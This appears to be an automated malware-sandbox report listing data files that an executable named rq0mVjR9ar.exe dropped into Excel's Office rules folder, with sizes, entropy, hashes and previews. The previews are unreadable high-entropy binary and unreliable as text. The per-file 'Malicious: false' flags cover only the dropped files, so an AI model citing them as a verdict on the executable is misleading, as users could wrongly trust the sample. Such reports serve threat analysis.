MD5:	3DD141CB0E7A9169379501BDB9F311D0
SHA1:	82D09744D6AB0AB89C2488BF314BF8A9EF715FC1
SHA-256:	A2FBD83D57223FE2CF1D3709AFEDE4031B6DAEE57B9F2136637105A22FFB3188
SHA-512:	7DA17424F7ED600904698C22FB04E4A5D709D15A358AF7DDD29548830A01F293C24C8B5F6E6CB52D6E1E5F76C4F76548B27C0D7E43926F673C51A90B33E47255
Malicious:	false
Preview:	<?xml50vO.........i.JlB.t#..M.]......C.\...l.,...n.;..D....Jt..+..hk.h.x ...1'&u/r....2...H..P.;>..Bq.>.P.B+).......... ....l6p.k...D.^zU..;.\.f.,..V.+.r...kj....%.G..ob......,k...\|q.....S....m...#l.L.AB.}...qQ{..EEF..)5%Y.C....>.s..p..$.r........?.y,??....\...._..[..'...7{ZpN..5:.f....!K.y4..\.5s.T...#."y.\_..".........1.N3..'.n.j....I+&.t{{.HY3.'..I(\....l+(.t.q....h....T....85.I...y\|.#..6L.......d.,00._.......K.....,\|.y....#.#...=Q.p.c'Q..Z....~.Y.P.{..K.%........T.\|.H~....8. ......h.F........Y...3.m.........3.C...,....uZx....D^.....V..\|.....#exR.X.u..O..U..u..l.p.6,._Pr8.l.h.....f..\T}.....~.m......8....^...e.3..}.E...~G...K.=5E.$.o...\1.[k.\.4y.!D..Z.%.s.Ue.j.c.i.i.f.4...k?$l2d...K3"R.r...r....D.&.?.q._O..rAO..Cl..].......Q.[..I.;......y..DX....E2.U4g...m....m...@%.."...f...2...!.V.&...z..i....G6'Ir6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170106v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	722
Entropy (8bit):	7.679835179609109
Encrypted:	false
SSDEEP:	12:Wv0nuddFMiVJSsXw4mL2+S8+RtJdBQBl9nk3XlqW2FzfKt0Y6/v7wmaJixpZaciD:Wv0+7Mi6sAzbzCJdCBl9I1q1Jf9571aX
MD5:	86900ED5038F8B6ABD3D5A8C48BB8381
SHA1:	090FB2D4B3FDF9F023B1B31341A9BEC5472FF474
SHA-256:	AD4415E7ED67786FB817D733CD752455DD703562CED39F90053EEB0D8FA563D4
SHA-512:	09F754FC2E22D25CC898830C8929AB6D36E2519EDB044E1708F7AE5C01128FFBD9D7CBACC730A54D853360D78BB713272216A23717927FF7B5AC4D237EFA63FD
Malicious:	false
Preview:	<?xml...M.C.L..E.'......-..6..+o......>......Q.w.hw...i...2s.....Ef.n.........-9.....3..c..q./.<.fO..Dw..dA.n$_{.......1:AH.H~.......w..\|c..:.X.....+..8.u....Y.E.o...4wC}...G./.L.....=......J....x).....=...M...\|/.5..O.$).;...`a...o3..u.yRg..^J..3.....J..dd..M.)..eX..\.W.:^.EP3.%.$`U.$V.....p..$.M........f.2...i..p..N..@A..F.4.....R..'.}5......._b.I.Dv........~V.eJ.f.umGN].5.b......C$~Zf.."?...Sq.j.............33.........J<...!...}...MM.8.......t7...j.W.u.b.{...pQD.VON..v..'..`@..q.64,I..D....:...].:...b7.}\..h...V.=..C.K....e...\|......`p..,..:.~/>{o....x.K.....hM....mlf@..@.{.....~..o.q...".Gwj.W...$..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170107v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.775631162300427
Encrypted:	false
SSDEEP:	24:gFYU68kKF4fmugulSSIj3v6taOidnRtIIZ6CiTkbD:gFYEToTg+kjtOgBZ63iD
MD5:	6AAC40D4E6DE9A0A6EC7794189470C90
SHA1:	5C0B3CB43459ACD0E04604D7ED6C805FA5803C05
SHA-256:	8C84558197CBF1A4FFEB7067A738DA541B35E0CD6A1E7A354DCED13A665C5F08
SHA-512:	8F2AED5D1D29493B352D6935E0E0FBE9785A13E584F1FE52784D5CD8D4AC4516FA3562335E5A696B6763AA3BCD549832D06A8CA754BF5B661DEF676519B243BB
Malicious:	false
Preview:	<?xml].H.X...[.......Bp..8..Y>...K.....el.........^...zB...w..>,e`9...s..U...DY>v:..H...-,g...C.....iOV...a..H...X..................WZ.}.y..1&]....}.....\G....n...qN.!"-..h..,.j.&...Y.....&..(....i.t.P?..MY...,....!aR>.'..~g.K2N....\#6..T.p..G..8..W._y. [.3..........1<..ykWd.H.k.k.e.4..:7..X.)..P..Yc.C.XwZX..;:~..]mE..L@.7.q...y...5...@V....(e..a...H.)...O..3!.e...k...).8....{..#b...C.2G..&.r...`.na.....b3..4..#!.{.Hj.....iz..... .).Ob...'.....1C.$..<.s.....w..4......b.~..q]..M....$...H.D:...Jj....X....7..w..l.^.xb..\|...........c)m#....-.....]...v..m...P..F.&..w...u8.=(.T......../z..j....P......x.a...f......+.0v].\|q.^W]...s.J.$.'.s...Y.}L.C...#.{..L..a<X5..(.A.0..=.V....E... ..ig.....ewG.S...r(.?5..:6I.\......e\|.Q......4Q.P@0...ORE..ddD..2.6..D...k......z...W.x.b..2N.^[^37b.........R..w.s{..z........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170110v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.871326247313027
Encrypted:	false
SSDEEP:	24:MRInN2cZpL74lfdFvXvg4tTr2M2NcrP7Q4xhjflOHiTkbD:MRQZSfdRvg4t3x4cjU4xFlOCiD
MD5:	DB826E4139A1813278FD1337A4582185
SHA1:	C31C9711694521A0C92E47C818570D4DBD7B17E9
SHA-256:	7C0880C9667D53AFE2C4A60DE3E645F024336777E1DAF31B005CC7D83B6C7890
SHA-512:	6F35DEFA2A442F4381E959BB6CBEE901D69D913BBC8F1C78A5915D35FA8A234B3834F53D97AFB23696699B80603DC2030489DB7E057326DCAEFF5350A83567AF
Malicious:	false
Preview:	<?xml.......)(....>W.Hgy8.E...Og..V...p),.......N.1......[.....V........n.=.....{8..O.e.3.H. Q....]noV.$..r.x.k.G..,....7..A..I..H..H.......T......`.Z.2...7..JA8m..`Rw.........G.1....?K....`..A[U.Zmk.q...q.o.......V..0f<.L`:#H.B..\|,.MI`..+.1..S(.!........p^.\T..D.......A....:..}.@.+.\...\.."L^>P.7u.$3;.l7..,t'.3..1.y.E'.4P.?.H..v.zLgr31..C......q.h.r.N....]._d..0\|. .^s.Q.Upy+#.....Nt....B.e~.k\|......U...,<w.\|.."q..4.m..c..c.r.p.c.!F"....8./q:..@......<e.....u...r_.A....A.j.p!x..\|......F..h.k........2l.....d...Q.z.`...[L....g.[..ZU...9.)...3]4@..Ro...c}......P ..k"I..R}.Z.1._..\|W.^...B..q.....i.d....7........D.g.?.=...L..P'..#..;.WG.t..i.a...Sut..D..O.2.....O.!.{...&.D.O/)....]...........]..J...m...x:8.J....r..9G.0K..Z.!j.l.#......4t.x)....-.....V.O,#.....l.5.......c.%0(d.7...TaN.......@'.C.f...k#...z...&.3p.m.....\.......:......!.&Oj..7.i..v.............Go3E4..Q.&7..V[63..........Q..%.s...Q.K....)......g.._...M...!\'.......kh.o...a..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170111v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.785551596895632
Encrypted:	false
SSDEEP:	24:afWhvv874+b8NcApbaONeTLYKVs7TeRhAXD2Togmib8RvJGjqUlSgiTkbD:afkvbi8uytNe5hAXD28RvJG4iD
MD5:	4333D394ECD6AEF3CA875C41015BE6CB
SHA1:	2F894C08F0A1E3D451CC6B5C0B7B8BEE8400347F
SHA-256:	71C2B971D197128F65F0CF0F4775304D4C37A28E4A999C080D2DD7D8EBFFB5EF
SHA-512:	B1DF5407FEC64EFB0F113E94016881811ACE2913F8FEC94E4990664EBED1C60EEAFC67D35B5C5F4070BD5164FF46A5919F69670F3025910E935D884A5CD494FF
Malicious:	false
Preview:	<?xml...A.N.z..Q.O.PU...c..o.].t_.....h..BC.z.E........@a..'.8......x..d.F..o....&..X....C;.`z.D.."...G.Tv.}_....}.u...e..w.n..#..M.^....rl...>.....6........N...D,...aP...f.....uY.ra.QQ...-.H...8...a..e.......Y.........q.....(..]......@....T.Fgj....Oe%..Th.k-P...k.0.j..#...'...u>.e..?.....K..z...8'uw.M.....U.........\|...2.....r.s.1.?O.^...H\r....!.7.d\....5.~.~s..7{B4...1?b)_...Y..?. Km`/$.^..'.Y..Umj...=,.I.i..)..L(..)=+z.p.9."l..4...%-.s.......X......e......6...A...... ...M..j-6...1^.t....).C..;.F)...T^.1..........#T..U../I..n.\|k.7QB{C.....%./....^..D......"H......eP.j....,9.g..}.^.......ymS...B.u..}...0..`s.6.^.=...x.......h..P.%../.....m..k......u.rR....B....3}T..e.C.Z.........m......Iu.zT...F~x...MOG.\...~..B.:..u....;z.../..3...G\|..C..o6i.........w{..i...............\..B>..0.3.uc...@ug.El.`.Z...'......i.V>1R.(..W.{W.S...^..M..).})d.d.t.).Q......N.8....}I....&.er6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170112v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	943
Entropy (8bit):	7.78020203215777
Encrypted:	false
SSDEEP:	24:SLZdo9pgMyFwH2xW1nzSMC/4ox4pSHMbumGtukiTkbD:cqpgM0i2mnJC/4oqpGaumGWiD
MD5:	CF7E168EB321E6C5ACAEA582F211D290
SHA1:	5E001E4C418B4D79EDF76032A39B591AC776C160
SHA-256:	7A101A5EC2E2574677412E4B7E5F0F769DE7447FD2FE5B494BDC34DFDD832BD7
SHA-512:	0132BAA86C8D16E87A628C35A1633CBF9F015A2D8C2D5F234DD65CC3C3E65C899A9462BDCD58A7EBC3B2E5002C81921A96C6999D226A1A4D17F6D6A9DA45B61F
Malicious:	false
Preview:	<?xml.........B>...0.S.U._.....Q.^.F@ r...... ~..R:..U.&..D^8...~T..x.....h.).W....].....^3PN..o......,{u.<~.'.p..Z`7......U.x...H..D...i.........H...'.^7.#o.?j....{..!1<..vt/c...L..1.b..9?["F.\|..........F..(.........A;....$....._.G...$a1A..0.J....,.p.N...].b..v....d.=.........Pl..&9.....7B4.P..\|4.....2Ms...cZ..z..........yw..RQ....q.....q.8..6..s.Z.9....Q......e.+.J.....~....A. .FNZ{....i1.r...8`iPo...+.a....%.@....Q......}..[....xV.J...M...wi..x.O.8{..hT.Y@\[.)...:.k.t.....Z.=e.PL.-..*.b\|...qx.....l.e.....\|...q...\|;6... .G.N!.........^nK..H.'&..k.\|....[C..;...As.~..w.8..\|....N.PP.....w....."......}.if..VD..b. .c...s.r.~.3Jx.b...&P....".56...z....}..C..'...6.C.(.....e..^r...._g.$..j1.._.....H..qFs.c..Fxj......n_...LU...;~.......JssT......1..v.....Y..L..T...#9"c. .9i..I.H.2...4uy0....J.)..Qyd...f...A.Lx.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170113v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.724759332790692
Encrypted:	false
SSDEEP:	24:vAQmrSDGVQmiM9e6QsjvWw7Rymm79iV48NSc9iTkbD:vA3gOQbMEFsCSEmmZd8gcUiD
MD5:	86B8954F074B77D5E28F6FBBD9152B23
SHA1:	F84390358868B612790C32717BEF59ACBA45BB4D
SHA-256:	73B663B909DEF990719FD92A0E14D0FA523999951F77718EE8B43D3D44D94962
SHA-512:	66D66506F497B35F11867F105261D100B26696C0B3A808E637C8CFBE93558A8A64D357E25EA45ACA9A7CE82294B8A9D89A1CB12554266E3D4BC4F63B5C60F8C5
Malicious:	false
Preview:	<?xmlH.S2.#.........E.W....j.x...j.q)`..%n~..o..k.....!9.Sy.?kh....N..W>...G..0.#.....I. ..Mn.k.l.x=..[......Ey).fl.Rmc81...a.R]{..@.(...Z1.#n.;.N/.u8J..W..>A[.%.=.5./6....8........v..>@R...).<.x[V....R.NH.......\|......_9.N...%.M,.E.;....yei.pE3M.r...:U.n.\.C..L...j$..cH0.h.X.b..s.".3...\.(..P...i\|=s.g[2...x..9....g.J....hX ;.'..R:}..m.Y... ..;.-..h..`.....2.d......O..Z/.9^@.I..%.....q........B8..\X...~O....;=.9\......'4..%.7Q........E!...wrl,^j......DbY..7....f..4P.....;...j.....t....R.n..$.W._.U.N....8y....B..2.>V.g..J.=.3.....a,.YL.!..'....U....t.......b...5.?.o.:5...%<.V.C\|.k.l..q[Z..-B.H~..........Z_..sL.,.[\|...."....o.q..Q.........5.......m...e..+.?.)..H..u.R.v..&r_G.....vm....73mr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170114v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1156
Entropy (8bit):	7.8380957563875455
Encrypted:	false
SSDEEP:	24:gh/mMFNszVMulsRsfbr3TzGhREojbIk5c3Z+ZiTkbD:UhqPlsRsfbzTyrjap+4iD
MD5:	8C2D3FD523260328CB743A3F7A6C4BB0
SHA1:	5A95C2A34A42AA992DB62D3DA15B150225DBA108
SHA-256:	B88A3332884AF113EEAAFF358A447C14749E8F5B08DB10DED07A0226B6E28F09
SHA-512:	DE98EDFF30B3AF37707118943D7CE978AC89D0CA997590262F78C1AC036D45F602260A78BBE10D6B5FF97BAE963D64807AD002730179537DBA4D2E8C213F0BB0
Malicious:	false
Preview:	<?xml...d...........mW..Q..V........'...k..}.`..X...+...]......4.Aa.eB.4............B....M....y......$o.#....-..P.Y......<.2..G.......+..QT.y.K8.P........]..t..A2..D?.&.d........GB..sw.r!.qAT."`....K................+.l.e.\...A.<.j...-....PvP...u....sq....A7~:.7.).N;.........r....@.,.p.2.Z.9..~rB.m...C..H....?....................-.8.F.{..R....e.v..KFb.......O.77.9......s.]k.w.S.q./...f.Xxo..?....O....l.....W..b....`\}......@.U.E....YXhL......F.......IiF....-f..sB.SZn7G.T.T.\|.W.R..+0..vzU.l=.C..1.k.H..Q..g...~.t.n&.y.....'x..\|..`...(.l.Q...J&Y.Z.........8...#..t....>..g.;....9......`...%..........B..+t.....aS..a..6h.L..n.'.;w.......ke........i...Xu...r&.\|..@.p%.....4...7t.=q.K\|........(.c..3./G.L.G.../.To=.".(.......\'..0$...d....8...K....(G(}.. .........,.V.j.......`.{.ll....5.zL...6.~...(BK5....t...;.zB.S..j1....."fH..y.7....5fi.)0...Q+..(._X~...j!0f\|.s...>2...KB.Ez....N.....p.7Q........q.}..(M..{J)..n............ru.E.M(5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170115v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	927
Entropy (8bit):	7.736678471066382
Encrypted:	false
SSDEEP:	24:wTZNjPNgg5oTs1P7qdPPsosBFPHxDg2iD+ukVx/iTkbD:e95Po4BxgqucxaiD
MD5:	386CEE34982155497F122FE4E1E95097
SHA1:	DCCC446881AFAC31FBC3A8CE7B72322C95416C60
SHA-256:	A56DF7E4937573338C52FC5AD4529C24CF48959D6D552D56FBE6F9B5B75C2A06
SHA-512:	DD3A373C1063ACF9DC6103705B654DEB3E6A2A1A162067924783123E877281CE2D1A25BE0B5EF9CFE6B0F0867D65CC09C0DF25AFAB0C91FFE316CACAD196478B
Malicious:	false
Preview:	<?xml.]!.u....].:k.U..`\.P..$......@.....?...p.>..h.....`zQX...cc...bi...9.......kX....=......A.....@..5x.....II......pA.....uz.Dr.en]..{T.Y.Aw.....W_..-%[l<.].....!p.b...u".......0c.u,......~....,Cz.e5..%O.^_...`.......Z....5J..w.x(.W..bU(C=.68#.n.../...8.m..7.....@.9.Y.hB.!q.O..~BL..f....%....>..Q.-F!b.Z....B..C...k...>..<..Q.J.0.pn...v&..M7`..Ay..Ac.3/..[.Y......x.m..@.3.}.I.[.G.6Z.Nl..jT./uL.,...t......]........G.:!....]A#>......2T"b...p$...y$.....5." ..b.j...v........=...)...w...v^..i....\&.XE.G?.Q.m.GH.+.'@..e.=.E..*_..M..V...B.L.jx...6..>pYn........%.AG.IO..E...].q.)..sT..:$H&...j+....<..I......(..D....,?4.6.(.?.5.b...[OvC `...`.\h?...$..MPvv%..M....?..T.0.\|3:.5i.....K...K$] .08z(.....Q..0wx..#..zL..h......,..\|...U..m..f.?F........o....q.K.,g.ez.:..G.8f.;"'a9.........[I.0T...2d0wn.?r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170116v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	717
Entropy (8bit):	7.6546641363217445
Encrypted:	false
SSDEEP:	12:PcVeH7ahgNPZ2UCVTF+eo4v9PFlHvMp3lA7/H02iWp9mywoeeHsXZzIYP07ko7rH:PcUba1TFsSlvelG/0XWTm+zHsJz2QoB9
MD5:	D8E6F809B538B37A99763720775B1130
SHA1:	3C648C67854D3B5EF5538A85D481E74DABB803D4
SHA-256:	2EA8FDBAE5D1A41BDB774942EC72640EF6716F3BCDFD98D679D65E84D017C060
SHA-512:	54B9E569745901B0A7BDE34CFE531EBBEEAC1C39737E54B254542F00815777239A7D771005DCD3AA7EFD032704EB5D75D86C526CCEEA5619225E5059214C8910
Malicious:	false
Preview:	<?xml..@E...sr...E.M.^.QF2..".9s.N.F.V..z..s._..v',f.:..c.L0.>......}...G)...M..T._s.3......5L~+.00]i?.tq).<;..z..n...m.(...g.X..(u_...\|;X2.R..P.;........J.}.L.QQ..!#.M......x$...a./....qF0j.,.w..kPAR.B$..5>\|.+..m....Lc.....5c.js.om1B.....s.../.ABe.>.E....Wfc[..YB......#...a..........-.;...).C( .._..p.....Kw.0G\|/.G}u..N.\|.....B......+e.....@......wx..,.Mq.(N\|.yV?.~.G2i.J..@.S.t0.....H_.......uZ.n.(E...I..V..1\|..H..L..l....`.l.sg.......t..N.....cyG.&.b.]..M.)...O...j...:..d..pl>...SK-...H..c.....:...A.}@..\|.=Q..z.U.%(....'........t.3..G8xj.A.Sr.H..f?....'v....N..:Lo.......}Qv...*.%.j..?.9\U..+.?._...q..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170117v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	942
Entropy (8bit):	7.75277914705575
Encrypted:	false
SSDEEP:	24:7im9tou8uTarrR6pXZtjWDOic++rJu/5FhFsiTkbD:7/9tv/CV69uDNP861iD
MD5:	6FE719E64D8BB6A0A58EF867DC13C113
SHA1:	F606147DF1FF0FF0D268D59BA4EC40AD24188462
SHA-256:	3F6CFD108E3D03A19FF5CCFFEA19A1A8FE2C361751C649B722F922B517739D9E
SHA-512:	8A7C65E05CC052A1CDE465D03DC0361B47AB6B0AB961ADA68984C554286D9B37E0932735C47D4A94FE18421A05A93CA9BBC6C5291A506D41F43DE97BDF99B780
Malicious:	false
Preview:	<?xml..i4b.c..i..L`....>...............T..Y9..=...<.!.Pq...rl.J..r......^..O.D.U......'N.\|(Ag......4..Vl.B".....c...d/..Th8"..M#C.....?n\|......./.'.R...I90wJ0.F.....@.,..}.6.F..G.L...H.. $..).....K.....Nc.....`...`....B.0..fI....%..D.}....q...` RiHix..y. .>A.?.EQ.;vD.....D.!nw. ..%.....<o.QXWtU..)..@.....tzB.pD....&.U.......'.u<......c...........XKB`.Am_...b..Ql....W..K.z qvN....q....2...6...q...G.....'..EW..0.1:...N.S.X.2..imW..O.....vcA,...r.._...2A.......3.....@..X.yN...qK..v....S..2J..#.....Kt4...F.h.......JP#&..[..x.A..`..>A\......@..#q...v.^......fy..3..........+..t...ygx.$B.I.S...a...\|.~}h...._T...%.!.Q.b.Kb(.9E...@.>:..xS5Tf...`t.._]..]?.....z..E...S+...UhSUy..RC....R=....T.......%.......n.Kq........1....d..Q.....P9..FL....>..'.d{.y!...59c..GM..#.P.$t\|.\....!,z......h.Q.^..'[2..>....@;S.tK.7.......e..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170118v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	949
Entropy (8bit):	7.77131225703438
Encrypted:	false
SSDEEP:	24:A/DExIw3KZWsXgpje9MKt+lwYjQQ8QaJeiTkbD:0DkIzWsg+1+wYjuQaJbiD
MD5:	9673C7506A42E5982CC4020D46A87EAE
SHA1:	C00604090B2336C342542BF172E2F38293BF8B63
SHA-256:	1D5D8784C11B998DBA95AD2DFE2FF09EFF2C009C973E89F3C2341495AE73298C
SHA-512:	29E839D503BA953279A806603BBAB11D1BD6B62331CDECA3F0B4E295741C724F8D41B8B80259BFB029119F2D20530031F3F605062FC4AA3F05529F88CA0C5613
Malicious:	false
Preview:	<?xml!..uo.dg1 .z...$9W...+.Ocx..k..`......q9....m....7?8.z.Hv...j.......\|_a'.2?.t..Y1gXI...~....oI.. .....AQ...Upt.......F.+.q0n..c............].:.X.y....&./..............6.!..H59t. ..a}%.HFP..>.[0.k.W4...?.%o.~...G.:.....0j.#C.v.q.H....!.x...4.I3h@..,.t.....G../..).D...\|..(..Rdn....[1..].........x`@.w. .._!#o...(f.O..V.?~..Jt.".^.+.ECv.w.]b.{.......[...{...cO9X\..4........C.3.\|.q.l.9}?>E.R...d..e...{Q..b{(...4c.j..........F...UTZNL.}q..~....k....f..zZ..%..1..(..z../!.t8..~P...Ig...\|...Q.m.-O....I......}.1A.g..-.O\|...l.I...e].u .q......?k.P.^..... .$.p...j#?..N<G.b...K.V..bR.."L.%S.qsu..b..TSy.A......6...g..p..FR.A..D-.}...>a[E...s..m...y^U.......L.%.k..yid....5.n.T.L2D....9"M*.S".....v....q...+..6.\...%o.N"z...\|.i.>.#.........l>...C`.Z....7...+...V.._.q....!.....I.g..T...W..v]...82#P.q.XB9. ..'.n.>.......<.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170127v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	867
Entropy (8bit):	7.714721746414892
Encrypted:	false
SSDEEP:	24:eGJInNs6eOEFbzb7chIJ+8t5WTJM0tJOuEghbGiTkbD:Vk1eiIJ+wX0tJWgJjiD
MD5:	08450CFA01F8A704324420579AD69728
SHA1:	78F71E89C946578797E9805018C618E776B5373F
SHA-256:	E9C0A58444EB1811D526DB2D5C0E5925BCD408076F33AE40BDCE75ECA9007032
SHA-512:	6A3208F3AA0538C1D13CBF9F02FD11004FC971C8E5738B44BEE275849E4B368EAE709061EA9E81A9BC0D54D7FE803CEF5F2E255750A5313C7514C0BA923A21E0
Malicious:	false
Preview:	<?xml....R......[..0..XM!R.7....m.\I...'..i..V.3{...R...1CWUF.!x.:=....$........X...x.. (..O2...a..Ry.F.^F.f..F..o...8R.....E.^z.`..l~.....U}..,.......&w}....S.~....!.Z....C..GziJz....1g....rH.....X.......Q.K#:..YR..<_...!0..5..5..._6.Ti..h`..1i,%3..a0r.G"..?..V..A..F.y.......z....8..Ou..;7@...:...%.l..EJ.....I...5......A.....m.~.~>.U.aG..r.N.f.j.m3.NN....4-..U...F.I.....].E...~f...M.4.....(_....jC.&g+~ A..89.n..$...1@= ..h..=.._~.y8..&L.C..S..I_,.hf.'.. ..N..H....).........`...LRR...r.:......g..U........)!....\......RO.. .(..#a<...h....E.+`cn.....%].9(.....(t.yd]......w...0.N.!.tTJA.0.<..(.CK............v.^.._#s].w.2..z1..P..)..d..f..Vi.u..I.@I@<BK.p#.u Ac..n_..;.._...ih0....O....`.._..O.N../K3.F... ZA0.~...}.`0..p.p.eO.2Z.H...H...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170129v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	918
Entropy (8bit):	7.7822540437771055
Encrypted:	false
SSDEEP:	24:O1ULfrPQY2KQSUhvJPz8ta39I1ILDhgUyKMgc9hOGLZHBiTkbD:JPd2OE5YANI1ILdKgShLLZHAiD
MD5:	6C0B0D889CFD68957D6A3F9A508FCC1F
SHA1:	D6F9D4EA8BA54CA4BF3DAF9090FD43F0BA150B0B
SHA-256:	6F71C8C7E8ED1F21EB44FBE1A13E21090396376E2BE653B59D13C0BFA617881C
SHA-512:	B8CCBC81C070459A50B5E1CB8E2ABA58B276F71DD8D494AD87BD52331AEDE0EFE1B7DE36F4A5FC621C2F13360FCF93AA326298C30F0C48A25A1666B89A864E45
Malicious:	false
Preview:	<?xml.c....[......n(..9.QPwU.z.>.Pp.\|H!E.\|.GL................f.i.R.!F..Va..WRx5#..#1Fj........z:K...]Y....2...q.....Q...;.=........>....O...u~T.8..W.J.......6.T.p......+g1.a...8.uma{....:..+/..\|.n...l..wX..?.m..5....f....p.7.`..CO.w..L;..p....@..T..\|..a..?...U.G~!..(.WV.\|gB...o...X.H....N.!..M_.no\|N.0..C...--.No.........y.<..q\|.".NK$..........l[..v..E7b.0..ZgM.......AY$..eW...f...5..dt..XN.+0..Q3.MA.....'vL..ls..O9R..J..[[.F.?#.P......D.........X!.Z..i.].U.yg~.y.#+Q9...v..'^~.G"(1..r.d.B.........u.c<. ...-9R..c..?.c..7..m.rj/.....R..L.....$P......{..tR{..^;.U!.5'..yl.....Q.....y.f..&K..E.........Z.(h.x..t.../X.G.d...ZHp..p...b._?i.g>..?...............+...[..4(..b.-F.M....oj..s.<..\.....Q.b75.........(........)....j........rC_J..V........$]..'......~...2..\.......m.../?L/IS.U..w....1...0A.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170130v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	898
Entropy (8bit):	7.775568958775985
Encrypted:	false
SSDEEP:	24:g0rRhIR/a9M4SC1Y+LLUgRc9Xrn4u9iTkbD:Jfm2Ypgk4uUiD
MD5:	ED0F2CC895AEF1DC627908FF553CF01B
SHA1:	19C43CE6EE3EB1029A0BE66F0248B547AF3279E3
SHA-256:	9173A57A35CC265AC0E7DE83EDE10D07479F42B701DFFF6822CA16738839E0C8
SHA-512:	2CFBD17E0359658891CD25DAF91EFF5888B683A8B9B8C440DB2F64145C1896EB3B2D6A719A7A1FDED370C9E228A95391006789E2F0FB3A7EFE743CCFD9F33D4D
Malicious:	false
Preview:	<?xml.^._M.c...IV@........ytM.N.h.-....K....g.(.3>.hg.=.p$.3.s&.c.m........H.].S..QZ.'.2.."..t...y....W\|.9..[..B1....?..S..o..&..b/.lq.M..-....n.1..{...]..i....g.........Y.F...zJ.K...`........E,%...-..O.[D..m&.,.$8.>..R!M.k.Z...k........F'..~n... .{...].Ck....{....9".)....b.....n..P.\.V~wU.PFrV..?g..\|`..M.G_]..-..S.@b...C....D1.J-\|)...Y....[5<..E.]5.bA..?P<.U..M.ei'...L.ry~.N.......3...U......U...._..%.N.lv..4V`.Uq"L....'..t...{w..r...+b6...x....gP.....0.A{5J%$..;}. ...c...x.H..T/...S9..3....I..2.!C...i...hFC.H(...zn..?..q.)....k..Y...a]....Q)bAm..m...<Xk..........z.,.1.... ..{........W......d.x....7..5iCs....w...P._GO9.m..;.h.......*o..H9a3........1n...'.........i4.VM.....y.W`.YE&.........9.[../t4..c.e..X.2...v.."..w....p.y...N.............{...#.F.["..zU....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460009v0.xml

Download File

